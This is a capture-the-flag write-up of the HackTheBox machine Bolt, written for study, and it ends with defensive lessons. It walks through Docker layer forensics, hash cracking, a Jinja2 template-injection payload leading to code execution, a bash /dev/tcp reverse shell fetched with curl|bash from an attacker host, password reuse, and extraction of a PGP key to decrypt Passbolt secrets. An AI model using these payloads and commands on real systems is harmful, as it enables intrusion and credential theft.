HTB: Bolt Writeup

Bolt - HackTheBox Writeup

Machine Information

AttributeDetails
NameBolt
OSLinux
DifficultyMedium
Points30
Release Date17 Feb 2021
IP Address10.10.11.X
Authord4rkpayl0ad & TheCyberGeek

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Bolt is a medium-difficulty Linux machine that combines Docker image forensics, Server-Side Template Injection (SSTI), and Passbolt exploitation. The attack begins with discovering virtual hosts through enumeration and downloading a Docker image archive containing a Flask application. Manual extraction of the Docker layers reveals deleted SQLite databases with admin credentials, an invitation code for registration, and vulnerable source code. Registration on the demo site leads to exploiting an SSTI vulnerability in the profile update functionality, which triggers when a confirmation token email is accessed. The templating engine allows remote code execution via Jinja2 gadgets. Lateral movement to user eddie is achieved through database credential reuse found in Passbolt configuration files. Root access requires extracting a PGP private key from Chrome extension storage, cracking its passphrase, and using it to decrypt the root password stored in Passbolt’s secrets database.

TL;DR: Docker layer forensics (admin hash + invite code) → Register on demo site → SSTI via profile name in email template → RCE as www-data → Passbolt config DB password reuse → SSH as eddie → Extract PGP key from Chrome extension leveldb → Decrypt Passbolt root secret → Root shell


Reconnaissance

Port Scanning

Terminal window
# Quick scan for open ports
nmap -p- --min-rate=1000 -T4 10.10.11.X
# Detailed service enumeration
nmap -p 22,80,443 -sV -sC 10.10.11.X

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3
80/tcp open http nginx 1.18.0 (Ubuntu)
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
| ssl-cert: Subject: commonName=passbolt.bolt.htb

The SSL certificate reveals the domain passbolt.bolt.htb and base domain bolt.htb.

Service Enumeration

Virtual Host Discovery

Terminal window
# Add discovered domains to hosts file
echo '10.10.11.X bolt.htb passbolt.bolt.htb' | sudo tee -a /etc/hosts
# Fuzz for additional virtual hosts
ffuf -u http://10.10.11.X -H 'Host: FUZZ.bolt.htb' \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-fs 30347

Discovered Virtual Hosts:

  • bolt.htb - Main application site
  • passbolt.bolt.htb - Passbolt password manager instance
  • demo.bolt.htb - Demo version of the application requiring invite code
  • mail.bolt.htb - Roundcube webmail interface
Terminal window
# Add new domains
echo '10.10.11.X demo.bolt.htb mail.bolt.htb' | sudo tee -a /etc/hosts

Web Application Analysis

bolt.htb (Port 80/443):

  • Custom administration web application
  • Download section offers image.tar - a Docker image file
  • Login page present but registration returns HTTP 500 errors
  • Marketing pages for a “Bolt CMS” application

passbolt.bolt.htb (Port 443):

  • Open-source password manager (Passbolt)
  • Requires valid email for registration/login
  • No obvious misconfigurations on the login page

demo.bolt.htb:

  • Demo instance of the Bolt application
  • Registration page requires an “Invite code” field (not present on main site)

mail.bolt.htb:

  • Roundcube webmail interface
  • Requires credentials to access

Vulnerability Assessment

Initial enumeration reveals:

  1. Docker image available for download - May contain sensitive data or configuration
  2. Multiple virtual hosts - Expanded attack surface
  3. Invite-only registration - Suggests invite code exists somewhere
  4. Integrated email system - Potential for email-based attacks

Initial Foothold

Docker Image Forensics

Downloading and Extracting the Image

Terminal window
# Download the Docker image from bolt.htb
wget http://bolt.htb/uploads/image.tar
# Extract the tar archive
mkdir image_extract
cd image_extract
tar -xf ../image.tar

The Docker image structure contains:

  • Manifest JSON files
  • Multiple layer archives (each a layer.tar inside a hash-named directory)
  • Configuration metadata

Manual Layer Extraction

Since Docker and dive were not available on the jump host, manual extraction was required:

Terminal window
# List all layer directories
ls -la
# Each directory name is a layer hash
# Extract each layer.tar to inspect contents
for layer in */layer.tar; do
dir=$(dirname "$layer")
echo "Extracting $dir"
cd "$dir"
tar -xf layer.tar
cd ..
done

Finding Deleted Files - Database Discovery

Layer a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2 contained a deleted SQLite database:

Terminal window
cd a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2
tar -xf layer.tar
# Database found in app directory
file app/base/db.sqlite3
# Output: SQLite 3.x database
# Examine database contents
sqlite3 app/base/db.sqlite3
# List tables
.tables
# Output: User
# Dump User table
SELECT * FROM User;

Discovered Credentials:

username: admin
email: admin@bolt.htb
password: $1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.

The hash format $1$ indicates MD5-crypt (hash mode 500 in hashcat).

Cracking the Admin Hash

Terminal window
# Save hash to file
echo '$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.' > admin.hash
# Crack with hashcat using rockyou wordlist
hashcat -m 500 -a 0 admin.hash /usr/share/wordlists/rockyou.txt
# Cracked password: deadbolt

Why this works: MD5-crypt is an older password hashing algorithm that’s significantly faster to brute-force than modern alternatives like bcrypt or argon2. The rockyou wordlist contains this password, making it vulnerable to dictionary attacks.

Testing Credentials

Terminal window
# Test on bolt.htb
curl -X POST http://bolt.htb/login \
-d "username=admin&password=deadbolt" -L

Login successful on bolt.htb. After authentication, the site reveals internal communications between users discussing:

  • Security concerns about the Docker image
  • Email functionality issues
  • Demo site being “invite only”

Finding the Invite Code

Layer 41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad contained application source code with deleted files:

Terminal window
cd 41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad
tar -xf layer.tar
# Examine route handlers
cat app/base/routes.py

Critical code section:

@blueprint.route('/register', methods=['GET', 'POST'])
def register():
login_form = LoginForm(request.form)
create_account_form = CreateAccountForm(request.form)
if 'register' in request.form:
username = request.form['username']
email = request.form['email']
code = request.form['invite_code']
# Hardcoded invite code check
if code != 'XNSS-HSJW-3NGU-8XTJ':
return render_template('code-500.html')
# ... registration logic continues

Discovered invite code: XNSS-HSJW-3NGU-8XTJ

Server-Side Template Injection (SSTI)

Identifying the Vulnerability

Further examination of home/routes.py reveals a dangerous template rendering pattern:

@blueprint.route('/confirm/changes/<token>')
def confirm_changes(token):
"""Confirmation Token"""
try:
email = ts.loads(token, salt="changes-confirm-key", max_age=86400)
except:
abort(404)
user = User.query.filter_by(username=email).first_or_404()
name = user.profile_update
# VULNERABILITY: User input directly interpolated into template
template = open('templates/emails/update-name.html', 'r').read()
msg = Message(
recipients=[f'{user.email}'],
sender = 'support@example.com',
reply_to = 'support@example.com',
subject = "Your profile changes have been confirmed."
)
msg.html = render_template_string(template % name) # SSTI here
mail.send(msg)

Why this is vulnerable: The template % name line performs string interpolation BEFORE Jinja2 template rendering. When combined with render_template_string(), this allows injection of Jinja2 template directives that will be evaluated server-side.

Registering an Account

Terminal window
# Register on demo.bolt.htb with discovered invite code
curl -X POST https://demo.bolt.htb/register \
-d "username=pwn0r&email=pwn0r@bolt.htb&invite_code=XNSS-HSJW-3NGU-8XTJ&password=Password123!" \
-L -k

Important discovery: The same credentials work on mail.bolt.htb (Roundcube), allowing access to the email account to retrieve confirmation tokens.

Exploiting SSTI for RCE

Step 1: Test for SSTI

Update profile name to {{ 7*7 }} via the web interface. Access Roundcube to read the confirmation email. Click the confirmation link and check if the email body shows 49 instead of {{ 7*7 }}, confirming template evaluation.

Step 2: Achieve Remote Code Execution

The SSTI payload must navigate through Jinja2’s context to reach OS functions. The following payload chain works:

# SSTI payload breakdown:
# self._TemplateReference__context = Access template context
# .cycler = Built-in Jinja2 function
# .__init__ = Constructor method
# .__globals__ = Global namespace (contains 'os' module)
# .os.popen() = Execute shell command
# .read() = Return command output
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}

Step 3: Establish Reverse Shell

Terminal window
# On attacker machine - create payload
echo 'bash -c "bash -i >& /dev/tcp/10.10.15.180/9001 0>&1"' > index.html
# Start HTTP server
python3 -m http.server 8000
# Start netcat listener
nc -lvnp 9001

Update profile name via web UI to:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('curl 10.10.15.180:8000/index.html|bash').read() }}

Step 4: Retrieve Confirmation Token

Log into Roundcube at mail.bolt.htb with pwn0r@bolt.htb:Password123!. The confirmation email contains a link like:

https://demo.bolt.htb/confirm/changes/<TOKEN>

Extract the token from the email body using Roundcube’s web interface or AJAX calls.

Step 5: Trigger the Payload

Terminal window
# Access the confirmation endpoint to trigger template rendering
curl https://demo.bolt.htb/confirm/changes/<TOKEN> -k

Reverse shell received as www-data:

Terminal window
www-data@bolt:/var/www/demo$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Privilege Escalation

Lateral Movement to Eddie

Discovering Passbolt Database Credentials

Terminal window
# Stabilize shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# Press Ctrl+Z
stty raw -echo; fg
# Enumerate web application configuration
ls -la /etc/passbolt/
cat /etc/passbolt/passbolt.php

Discovered credentials in /etc/passbolt/passbolt.php:

// Database configuration.
'Datasources' => [
'default' => [
'host' => 'localhost',
'port' => '3306',
'username' => 'passbolt',
'password' => 'rT2;jW7<eY8!dX8}pQ8%', // Database password
'database' => 'passboltdb',
],
],

Password Reuse Attack

Terminal window
# Test database password against system users
su - eddie
Password: rT2;jW7<eY8!dX8}pQ8%
# Success!
eddie@bolt:~$ id
uid=1001(eddie) gid=1001(eddie) groups=1001(eddie)
# Retrieve user flag
eddie@bolt:~$ cat user.txt
<redacted>

Why this works: Poor password hygiene often leads to credential reuse. The Passbolt database password was reused as eddie’s system account password, allowing immediate lateral movement via SSH or su.

Privilege Escalation to Root

Enumerating Eddie’s Environment

Terminal window
# Check mail
eddie@bolt:~$ cat /var/mail/eddie

Email content from Clark:

From: Clark Griswold <clark@bolt.htb>
Subject: Important Security Update
Eddie,
Please download the Passbolt browser extension and use it to access the password manager.
I've shared the root credentials with you for the security audit.
There's a private key you'll need - check your Chrome profile.
-Clark

Extracting PGP Private Key from Chrome Extension

Terminal window
# Locate Chrome extension data
find /home/eddie -name "*.log" -type f 2>/dev/null | grep -i chrome
# Chrome extensions store data in LevelDB format
# Search for PGP key patterns in leveldb logs
cd /home/eddie/.config/google-chrome/Default/Extensions/<extension-id>
# Search all .log files for PGP private keys
grep -r "BEGIN PGP PRIVATE KEY" .
# Found in 000003.log
strings 000003.log | grep -A 50 "BEGIN PGP PRIVATE KEY"

Extracted PGP Private Key:

Terminal window
# The key is JSON-encoded with escaped newlines
strings 000003.log | grep "BEGIN PGP PRIVATE\|END PGP PRIVATE" | sed 's/\\r\\n/\n/g' > eddie_private.key

The extracted key is password-protected.

Cracking the PGP Key Passphrase

Terminal window
# Convert PGP key to John the Ripper format
gpg2john eddie_private.key > eddie_key.hash
# Crack the passphrase
john --wordlist=/usr/share/wordlists/rockyou.txt eddie_key.hash
# Cracked passphrase: merrychristmas

Extracting Root Password from Passbolt Database

Rather than going through the browser extension recovery flow, the root password can be extracted directly from the database:

Terminal window
# Connect to Passbolt database
mysql -u passbolt -p'rT2;jW7<eY8!dX8}pQ8%' passboltdb
# Enumerate tables
SHOW TABLES;
# The 'secrets' table contains encrypted passwords
SELECT * FROM secrets WHERE user_id = '<eddie_user_id>';

The secrets are encrypted with Eddie’s PGP public key and can only be decrypted with the corresponding private key.

Terminal window
# Import the private key
gpg --import eddie_private.key
# Extract encrypted secret blob from database
mysql -u passbolt -p'rT2;jW7<eY8!dX8}pQ8%' passboltdb -e \
"SELECT data FROM secrets WHERE resource_id IN (SELECT id FROM resources WHERE name LIKE '%root%')" \
-N -B > encrypted_secret.asc
# Decrypt the secret
gpg --decrypt encrypted_secret.asc
# Enter passphrase: merrychristmas

Decrypted root password: Z(2rmxsNW(Z?3=p/9s

Gaining Root Access

Terminal window
# Switch to root
eddie@bolt:~$ su -
Password: Z(2rmxsNW(Z?3=p/9s
root@bolt:~# id
uid=0(root) gid=0(root) groups=0(root)
# Retrieve root flag
root@bolt:~# cat /root/root.txt
<redacted>

Attack Chain Summary

Nmap scan → SSL cert reveals bolt.htb, passbolt.bolt.htb
Vhost fuzzing → demo.bolt.htb, mail.bolt.htb discovered
Download image.tar from bolt.htb
Manual Docker layer extraction (tar)
Layer a4ea7d... → db.sqlite3 → Admin hash
Hashcat (MD5-crypt, mode 500) → deadbolt
Layer 410934... → routes.py → Invite code: XNSS-HSJW-3NGU-8XTJ
Register pwn0r@bolt.htb on demo.bolt.htb
Same creds work on mail.bolt.htb (Roundcube)
SSTI in profile name → Jinja2 RCE payload
Confirmation email → Extract token via Roundcube
GET /confirm/changes/<token> → RCE as www-data
/etc/passbolt/passbolt.php → DB password: rT2;jW7<eY8!dX8}pQ8%
Password reuse → SSH as eddie → user.txt
Chrome extension LevelDB → 000003.log → PGP private key
gpg2john + john → Passphrase: merrychristmas
Passbolt secrets table → Decrypt root password with GPG
su - → Root shell → root.txt

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
ffufVirtual host fuzzing
tarDocker image layer extraction
sqlite3Database examination
hashcatPassword hash cracking (MD5-crypt)
curlHTTP requests and testing
python3 http.serverPayload delivery
netcatReverse shell listener
mysqlDatabase interaction
gpgPGP key management and decryption
gpg2johnConvert PGP keys to crackable format
johnPassphrase cracking

Key Learnings

Techniques Practiced

  • Docker Image Forensics: Manual extraction and analysis of Docker layers without specialized tools (dive)
  • Deleted File Recovery: Finding sensitive data in removed Docker layers that developers assumed was scrubbed
  • Server-Side Template Injection (SSTI): Exploiting unsafe template rendering in Python/Jinja2 applications
  • Email-Based Attack Chains: Using integrated webmail to facilitate multi-step exploitation
  • Password Hash Cracking: MD5-crypt hash identification and dictionary attacks
  • Credential Reuse Exploitation: Leveraging poor password hygiene for lateral movement
  • PGP Key Extraction: Recovering encrypted keys from application storage (Chrome extension LevelDB)
  • Passphrase Cracking: Converting and cracking password-protected PGP keys
  • Password Manager Exploitation: Direct database access to decrypt stored secrets

Lessons Learned

  1. Docker images should never be distributed with sensitive data, even in “deleted” layers. Each layer is immutable and preserved in the image history. Use .dockerignore, multi-stage builds, and never include databases or secrets in any layer.

  2. Template engines must be used carefully. The pattern render_template_string(template % user_input) is extremely dangerous because string interpolation happens before template compilation, allowing full SSTI. Always use proper template variable passing: render_template_string(template, name=user_input).

  3. MD5-crypt ($1$) is obsolete and should not be used for password storage. Modern applications should use bcrypt, scrypt, or argon2 with appropriate work factors.

  4. Password reuse is a critical vulnerability. Database credentials should never match system account passwords. Use unique, randomly generated passwords for each service and account.

  5. Browser extension storage is not secure. Sensitive data like PGP private keys stored in Chrome extension LevelDB logs can be extracted by anyone with filesystem access. Keys should be stored in proper keystores with OS-level protections.

  6. Defense in depth matters. This machine required chaining multiple vulnerabilities (Docker forensics → SSTI → credential reuse → key extraction). Each layer could have been hardened independently.

  7. Email systems in CTF contexts often serve as bridges between exploitation stages. When you find integrated email functionality, explore how to access it and what automated emails might reveal.


Proof of Ownership

User Flag (eddie): <redacted>
Root Flag: <redacted>

References